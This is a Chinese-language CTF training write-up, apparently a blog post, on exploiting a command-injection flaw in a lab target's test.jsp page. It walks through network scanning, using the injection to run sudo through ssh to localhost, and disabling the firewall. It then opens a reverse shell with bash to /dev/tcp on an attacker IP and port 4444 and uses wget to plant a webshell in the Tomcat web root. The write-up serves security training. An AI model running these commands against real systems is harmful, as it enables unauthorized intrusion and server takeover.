ctf训练 web安全命令执行漏洞

本文围绕CTF训练中的Web安全命令执行漏洞展开。先介绍了命令执行漏洞的成因,即用户可控制命令执行函数参数且未过滤输入时易造成攻击。接着搭建实验环境,进行信息探测、深入挖掘,利用漏洞获取用户信息、系统信息,还实现了反弹shell、下载木马文件,最终获取Flag,也提及不同情况的应对方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ctf训练 web安全命令执行漏洞

命令执行漏洞介绍

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。

调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。

实验环境

一台kail攻击机 和 靶机
靶机镜像:https://pan.baidu.com/s/19k8jz7VARhFW3LYw8U6T9w
提取码:97qz

安装打开靶机(使用Oracle VM VirtualBox打开):
(注意:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)

接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台

使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机
在这里插入图片描述这里我们就探测出靶机ip为192.168.43.187

本机ip为192.168.43.96
在这里插入图片描述

信息探测

扫描主机服务信息以及服务版本

– nmap -sV靶场IP地址

在这里插入图片描述

快速扫描主机全部信息
– nmap -T4 -A -v靶场lP地址
在这里插入图片描述

探测敏感信息
– nikto -host http://靶场IP地址:端口

这里开放http服务的是8080端口,所以这里我们端口 号跟8080,这个是在上面信息探测出来的结果
在这里插入图片描述发现可疑目录,/test.jsp
在这里插入图片描述深入挖掘

分析nmap 、nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;

使用浏览器打开http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;

访问
在这里插入图片描述这里我们想着把之前发现的可疑目录加上然后访问
在这里插入图片描述按照提示,我们输入ls -l/tmp,可以看到页面返回了一些东西,存在着命令执行漏洞
在这里插入图片描述漏洞利用

查看临时缓冲目录: ls -alh /tmp/
在这里插入图片描述

查看home目录,挖掘用户信息:ls -alh /home/

发现了用户名bill
在这里插入图片描述

查看具体用户的目录:ls -alh /home/用户名/

这里最后一行我们可以看到具有ssh服务,可以使用sudo来拿到root
在这里插入图片描述

查看系统信息:uname -a

查看到了靶机系统 的信息,为ubuntu系统

在这里插入图片描述

利用ssh命令执行root权限命令

使用ssh用户名@localhost通过ssh登录服务器是不需要身份验证的;

查看bill用户sudo命令的权限:ssh bill@localhost sudo -I
在这里插入图片描述

关闭防火墙:ssh bill@localhost sudo ufw disable

在这里插入图片描述
反弹shell

监听4444端口

nc -lvp 4444

在这里插入图片描述

靶场机器反弹shell
ssh bill@localhost sudo bash -i >& /dev/tcp/攻击机ip/4444 0>&1
在这里插入图片描述已经拿到了shell了
在这里插入图片描述

渗透测试技巧

开启python简易http服务器
python -m SimpleHTTPServer

利用命令执行下载木马文件
ssh bill@localhost sudo wget “http://ip:port/shell,isp” -O/var /lib/tomcat8/webapps/ROOT/shell.isp

获取Flag

一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。
cd /root/
ls
cat flag

在这里插入图片描述

总结:
在cTf比赛中,命令执行漏洞具有很多过滤机制。对于开放ssh服务的靶场机器,可以采取以上方法进行渗透靶场机器。如果没有开放ssh服务,则需要利用绕过过滤技巧来达到命令执行的目的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

爱吃香菜的哈哈

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值